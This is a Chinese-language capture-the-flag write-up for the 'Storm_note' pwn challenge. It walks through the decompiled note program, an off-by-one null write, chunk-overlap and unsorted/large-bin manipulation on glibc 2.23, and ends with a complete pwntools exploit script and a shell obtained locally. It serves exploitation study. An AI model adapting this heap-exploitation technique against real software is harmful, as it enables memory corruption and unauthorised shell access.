西湖论剑 Pwn Storm_note Writeup

TOC

  1. 1. 简介
  2. 2. 程序功能介绍
    1. 2.1. 安全防护
    2. 2.2. 主要功能
    3. 2.3. 全局变量
    4. 2.4. 申请
    5. 2.5. 编辑
    6. 2.6. 删除
    7. 2.7. 后门函数
    8. 2.8. 主函数
  3. 3. 程序
  4. 4. 思路
    1. 4.1. Chunk Extend
    2. 4.2. 控制chunk
    3. 4.3. 控制unsort bin和large bin
    4. 4.4. 伪造 fake_chunk
    5. 4.5. 以glibc-2.23为例子
      1. 4.5.1. glibc-2.23/malloc/malloc.c:3515
      2. 4.5.2. glibc-2.23/malloc/malloc.c:3542
      3. 4.5.3. 在下面这里size会被修改成我们想要的值
      4. 4.5.4. glibc-2.23/malloc/malloc.c:3341
      5. 4.5.5. glibc-2.23/malloc/malloc.c:3521
    6. 4.6. 触发后门
  5. 5. 完整脚本
    1. 5.1. 运行实例
  6. 6. 总结

源程序下载:Storm_note

比赛的环境是glibc-2.23,所以推荐在glibc-2.23的环境下测试。

简介

这题还是偏难的,要求选手会构造chunk。以及对large bin和unsorted bin的掌握程度。主要用到的是 Chunk Extend 的chunk重叠(overlapping) 漏洞。

程序功能介绍

安全防护

ex@Ex:~/test$ checksec Storm_note
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/ex/test/Storm_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

主要功能

ssize_t menu()
{
puts("================");
puts("== Storm Note ==");
puts("== 1. alloc ==");
puts("== 2. edit ==");
puts("== 3. delete ==");
puts("== 4. exit ==");
puts("================");
return write(1, "Choice: ", 8uLL);
}

主要是三个功能。申请,编辑,删除。

全局变量

char *note[16];
int note_size[16];

index 作为键值,使得notenote_size一一对应。

申请

unsigned __int64 alloc_note()
{
int v1; // [rsp+0h] [rbp-10h]
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
for ( i = 0; i <= 15 && note[i]; ++i )
;
if ( i == 16 )
{
puts("full!");
}
else
{
puts("size ?");
_isoc99_scanf("%d", &v1);
if ( v1 > 0 && v1 <= 0xFFFFF )
{
note[i] = calloc(v1, 1uLL);
note_size[i] = v1;
puts("Done");
}
else
{
puts("Invalid size");
}
}
return __readfsqword(0x28u) ^ v3;
}

calloc则将初始化这部分的内存,会进行0填充。

void *calloc(size_t nmemb, size_t size);
The calloc() function allocates memory for an array of nmemb elements
of size bytes each and returns a pointer to the allocated memory. The
memory is set to zero. If nmemb or size is 0, then calloc() returns
either NULL, or a unique pointer value that can later be successfully
passed to free().

编辑

unsigned __int64 edit_note()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
puts("Content: ");
v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
*(_BYTE *)(note[v1] + v2) = 0;
puts("Done");
}
else
{
puts("Invalid index");
}
return __readfsqword(0x28u) ^ v3;
}

注意这里:

v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
*(_BYTE *)(note[v1] + v2) = 0;

删除

unsigned __int64 delete_note()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
free((void *)note[v1]);
note[v1] = 0LL;
note_size[v1] = 0;
}
else
{
puts("Invalid index");
}
return __readfsqword(0x28u) ^ v2;
}

note_size[v1] = 0;:程序free之后会进行NULL赋值,应该不存在UAF漏洞。

后门函数

void __noreturn backdoor()
{
char buf; // [rsp+0h] [rbp-40h]
unsigned __int64 v1; // [rsp+38h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("If you can open the lock, I will let you in");
read(0, &buf, 0x30uLL);
if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
system("/bin/sh");
exit(0);
}

0xABCD0100动态调试发现,这个地址每次都不一样,查看程序的导入表,看看这块内存是怎么被申请的。

ex@Ex:~/test$ readelf --dyn-syms Storm_note

Symbol table '.dynsym' contains 28 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000000009a0 0 SECTION LOCAL DEFAULT 10
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5 (2)
3: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTab
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mallopt@GLIBC_2.2.5 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mmap@GLIBC_2.2.5 (2)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.2.5 (2)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND system@GLIBC_2.2.5 (2)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcmp@GLIBC_2.2.5 (2)
14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND calloc@GLIBC_2.2.5 (2)
15: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND open@GLIBC_2.2.5 (2)
17: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __isoc99_scanf@GLIBC_2.7 (4)
19: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (2)
20: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable
21: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.2.5 (2)
22: 0000000000202020 8 OBJECT GLOBAL DEFAULT 24 stdout@GLIBC_2.2.5 (2)
23: 0000000000202010 0 NOTYPE GLOBAL DEFAULT 23 _edata
24: 0000000000202120 0 NOTYPE GLOBAL DEFAULT 24 _end
25: 0000000000202030 8 OBJECT GLOBAL DEFAULT 24 stdin@GLIBC_2.2.5 (2)
26: 0000000000202010 0 NOTYPE GLOBAL DEFAULT 24 __bss_start
27: 0000000000202040 8 OBJECT GLOBAL DEFAULT 24 stderr@GLIBC_2.2.5 (2)

看到了mmap函数,用ida的交叉引用,查出了下面的函数:

ssize_t init_proc()
{
ssize_t result; // rax
int fd; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( !mallopt(1, 0) )
exit(-1);
if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0xABCD0000LL )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
if ( result != 48 )
exit(-1);
return result;
}

进入init_proc函数,该函数首先调用mallopt函数禁用了fastbin。int mallopt(int param,int value)为内存分配控制函数,此处param参数取值为M_MXFAST,控制着fastbin大小上限,此处设置为1,表示禁用fastbin,fastbin attack的思路已经行不通。

由这行代码可知fd = open("/dev/urandom", 0);,应该是个随机数。

主函数

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
init_proc(*(_QWORD *)&argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v3);
if ( v3 != 3 )
break;
delete_note();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 666 )
backdoor();
LABEL_15:
puts("Invalid choice");
}
else if ( v3 == 1 )
{
alloc_note();
}
else
{
if ( v3 != 2 )
goto LABEL_15;
edit_note();
}
}
}

主函数也比较简单,输入666即可触发后门进行判断,关键在于怎么绕过 if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) ) 部分。

程序

综上所诉,我们只看到了一个 off by one 漏洞(*(_BYTE *)(note[v1] + v2) = 0;)。所以可以用 Chunk Extend 漏洞来精心构造fake_chunk,从而控制unsort chunk和large chunk中的指针,当large bin发生插入操作的时候可以实现对任意地址的写(mmap区域)。

思路

  1. Chunk Extend 使得chunk重叠
  2. 控制chunk
  3. 控制unsort bin和large bin
  4. 伪造 fake_chunk
  5. 触发后门

Chunk Extend

Chunk Extend 漏洞使得两个chunk重叠。

alloc_note(0x18)  # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2
alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5
alloc_note(0x18) # 6

# 改pre_size域为 0x500 ,为了能过检查
edit_note(1, 'a'*0x4f0 + p64(0x500))
# 释放1号块到unsort bin 此时chunk size=0x510
# 2号的prev_size 为 0x510
delete_note(1)

# off by null 将1号块的size字段覆盖为0x500,
# 和上面的0x500对应,为了绕过检查
edit_note(0, 'a'*(0x18))

alloc_note(0x18) # 1 从unsorted bin上面割下来的
alloc_note(0x4d8) # 7 为了和 1 重叠

delete_note(1)
delete_note(2) # unlink进行前向extend

这里如果理解不了的话,可以画出布局图来,这样会更形象一点。

扩展攻击之后的内存布局如下:

pwndbg> x/8gx &note
0x5617875570a0 <note>: 0x000056178869c010 0x0000000000000000
0x5617875570b0 <note+16>: 0x0000000000000000 0x000056178869c560
0x5617875570c0 <note+32>: 0x000056178869c580 0x000056178869ca90
0x5617875570d0 <note+48>: 0x000056178869cab0 0x000056178869c050
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x56178869c020 —▸ 0x7fd89a3c4b78 (main_arena+88) ◂— 0x56178869c020
smallbins
empty
largebins
empty
pwndbg> p *(struct malloc_chunk*)(0x56178869c020)
$3 = {
prev_size = 7523377975159973992,
size = 1329,
fd = 0x7fd89a3c4b78 <main_arena+88>,
bk = 0x7fd89a3c4b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/8wx &note_size
0x561787557060 <note_size>: 0x00000018 0x00000000 0x00000000 0x00000018
0x561787557070 <note_size+16>: 0x00000508 0x00000018 0x00000018 0x000004d8

通过调试可以看出,index为7的指向的地方和unsortedbin里面的chunk已经重叠了。

控制chunk

alloc_note(0x30)  # 1
alloc_note(0x4e8) # 2

alloc_note(0x30)之后2号块与7号块交叠,可以通过7号块修改2号块的内容(后面将2号块加入unsort bin)。

pwndbg> x/8gx &note
0x55a2b7f1f0a0 <note>: 0x000055a2b8701010 0x000055a2b8701030
0x55a2b7f1f0b0 <note+16>: 0x000055a2b8701070 0x000055a2b8701560
0x55a2b7f1f0c0 <note+32>: 0x000055a2b8701580 0x000055a2b8701a90
0x55a2b7f1f0d0 <note+48>: 0x000055a2b8701ab0 0x000055a2b8701050

同理可以在4号和5号上继续构造块交叠,由8号块来控制其内容(4号块加入large bin)。

edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4

控制unsort bin和large bin

接下来将2号块和4号块分别加入unsort bin和large bin,后面可以通过7号块和8号块对其中的指针进行修改。

delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)

由于unsorted bin是FIFO(队列模式),所以可以先删除2号块,再申请他,由于先检查队列尾部,也就是原先4号块的chunk部分,发现chunk大小不够大,然后将其放入large bin中。该chunk由8号块控制。

然后,继续删除2号块,那么此时unsorted bin里还剩下2号块,该部分通过7号块来控制。

伪造 fake_chunk

修改unsorted bin 和large bin中的内容。

storage = 0xabcd0100
fake_chunk = storage - 0x20

# 伪造fake_chunk
layout = [
'\x00' * 16, # 填充16个没必要的字节
p64(0), # fake_chunk->prev_size
p64(0x4f1), # fake_chunk->size
p64(0), # fake_chunk->fd
p64(fake_chunk) # fake_chunk->bk
]

# 修改unsorted bin 中的内容
edit_note(7, flat(layout))

layout = [
'\x00' * 32, # 32 字节偏移
p64(0), # fake_chunk2->prev_size
p64(0x4e1), # fake_chunk2->size
p64(0), # fake_chunk2->fd
# 用于创建假块的“bk”,以避免从未排序的bin解链接时崩溃
p64(fake_chunk + 8), # fake_chunk2->bk
p64(0), # fake_chunk2->fd_nextsize
# 用于使用错误对齐技巧创建假块的“大小”
p64(fake_chunk - 0x18 - 5) # fake_chunk2->bk_nextsize
]

# 修改large bin 中的内容
edit_note(8, flat(layout))

然后申请内存来触发一系列动作:

alloc_note(0x48)

由于unsorted bin是FIFO模式,所以会优先判断 unsorted bin 的 bk 开始查询,由于伪造unsorted bin 的 bk时,我们故意向上偏移了0x20字节,所以得到的size就是0,由于不够申请的size,转而进入large bin 判断部分。然后进行一系列的链接操作。最后我们会分配到0xabcd00f0 地址。

以glibc-2.23为例子

glibc-2.23/malloc/malloc.c:3515

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

这里unsorted bin 变成了0xabcd00e0,0xabcd00f0发的位置被修改为<main_arena+88>。

glibc-2.23/malloc/malloc.c:3542

victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

这里会把我们构造好的large bin拿出来。

在下面这里size会被修改成我们想要的值

───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/glibc/glibc-2.23/malloc/malloc.c
3576 victim->fd_nextsize = fwd;
3577 victim->bk_nextsize = fwd->bk_nextsize;
3578 fwd->bk_nextsize = victim;
3579 victim->bk_nextsize->fd_nextsize = victim;
3580 }
3581 bck = fwd->bk;
3582 }
3583 }
3584 else
3585 victim->fd_nextsize = victim->bk_nextsize = victim;
3586 }
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fff5f0476b0 ◂— 0x48 /* 'H' */
01:0008│ 0x7fff5f0476b8 ◂— 0x5
02:0010│ 0x7fff5f0476c0 —▸ 0x55a37f05ba60 (_start) ◂— xor ebp, ebp
03:0018│ 0x7fff5f0476c8 —▸ 0x7f9101597b20 (main_arena) ◂— 0x100000001
04:0020│ 0x7fff5f0476d0 ◂— 0x48 /* 'H' */
05:0028│ 0x7fff5f0476d8 —▸ 0x55a3801f1ac0 ◂— 0x0
06:0030│ 0x7fff5f0476e0 ◂— 0x20540
07:0038│ 0x7fff5f0476e8 ◂— 0x0
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
f 0 7f910127faab _int_malloc+1262
f 1 7f9101281b6f calloc+323
f 2 55a37f05bc46 alloc_note+182
f 3 55a37f05c0c2 main+116
f 4 7f910122dc09 __libc_start_main+385
pwndbg> x/4gx 0xabcd00e0
0xabcd00e0: 0xa3801f1060000000 0x0000000000000055
0xabcd00f0: 0x00007f9101597b78 0x0000000000000000

所以我们只要申请的size刚好符合0x0000000000000055(这个可能是随机的)的对齐规则即可。详见下面的解释。

我们需要的size是0x48,经过下面的对齐,会得到nb的值为0x50。

glibc-2.23/malloc/malloc.c:3341

/*
Convert request size to internal form by adding SIZE_SZ bytes
overhead plus possibly more to obtain necessary alignment and/or
to obtain a size of at least MINSIZE, the smallest allocatable
size. Also, checked_request2size traps (returning 0) request sizes
that are so large that they wrap around zero when padded and
aligned.
*/

checked_request2size (bytes, nb);

而0xabcd00e0的size经过glibc-2.23/malloc/malloc.c:3341size = chunksize (victim);之后,也会对齐为0x50。

glibc-2.23/malloc/malloc.c:3521

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

由于size和nb匹配成功,则直接返回0xabcd00f0给我们。

触发后门

edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

sh = process('./Storm_note')
elf = ELF('./Storm_note')
# context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()


def alloc_note(size):
sh.sendline('1')
sh.recvuntil('?')
sh.sendline(str(size))
sh.recvuntil('Choice')


def edit_note(idx, mes):
sh.sendline('2')
sh.recvuntil('?')
sh.sendline(str(idx))
sh.recvuntil('Content')
sh.send(mes)
sh.recvuntil('Choice')


def delete_note(idx):
sh.sendline('3')
sh.recvuntil('?')
sh.sendline(str(idx))
sh.recvuntil('Choice')



# 清除流
sh.recvuntil('Choice')

alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2
alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5
alloc_note(0x18) # 6

# 改pre_size域为 0x500 ,为了能过检查
edit_note(1, 'a'*0x4f0 + p64(0x500))
# 释放1号块到unsort bin 此时chunk size=0x510
# 2号的prev_size 为 0x510
delete_note(1)

# off by null 将1号块的size字段覆盖为0x500,
# 和上面的0x500对应,为了绕过检查
edit_note(0, 'a'*(0x18))

alloc_note(0x18) # 1 从unsorted bin上面割下来的
alloc_note(0x4d8) # 7 为了和 1 重叠

delete_note(1)
delete_note(2) # unlink进行前向extend

# 2号块与7号块交叠,可以通过7号块修改2号块的内容
alloc_note(0x30) # 1
alloc_note(0x4e8) # 2

# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4

# 将2号块和4号块分别加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)

storage = 0xabcd0100
fake_chunk = storage - 0x20

# 伪造fake_chunk
layout = [
'\x00' * 16, # 填充16个没必要的字节
p64(0), # fake_chunk->prev_size
p64(0x4f1), # fake_chunk->size
p64(0), # fake_chunk->fd
p64(fake_chunk) # fake_chunk->bk
]

# 修改unsorted bin 中的内容
edit_note(7, flat(layout))

layout = [
'\x00' * 32, # 32 字节偏移
p64(0), # fake_chunk2->prev_size
p64(0x4e1), # fake_chunk2->size
p64(0), # fake_chunk2->fd
# 用于创建假块的“bk”,以避免从未排序的bin解链接时崩溃
p64(fake_chunk + 8), # fake_chunk2->bk
p64(0), # fake_chunk2->fd_nextsize
# 用于使用错误对齐技巧创建假块的“大小”
p64(fake_chunk - 0x18 - 5) # fake_chunk2->bk_nextsize
]

# 修改large bin 中的内容
edit_note(8, flat(layout))

# 0xabcd00f0
alloc_note(0x48) # 2

edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)


sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './Storm_note': pid 16115
[*] '/home/ex/test/Storm_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
: If you can open the lock, I will let you in
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

由于这个受到随机化的影响,不一定每次都会成功,多试几次就可以。

总结

多调试源码,能更好的了解其原理。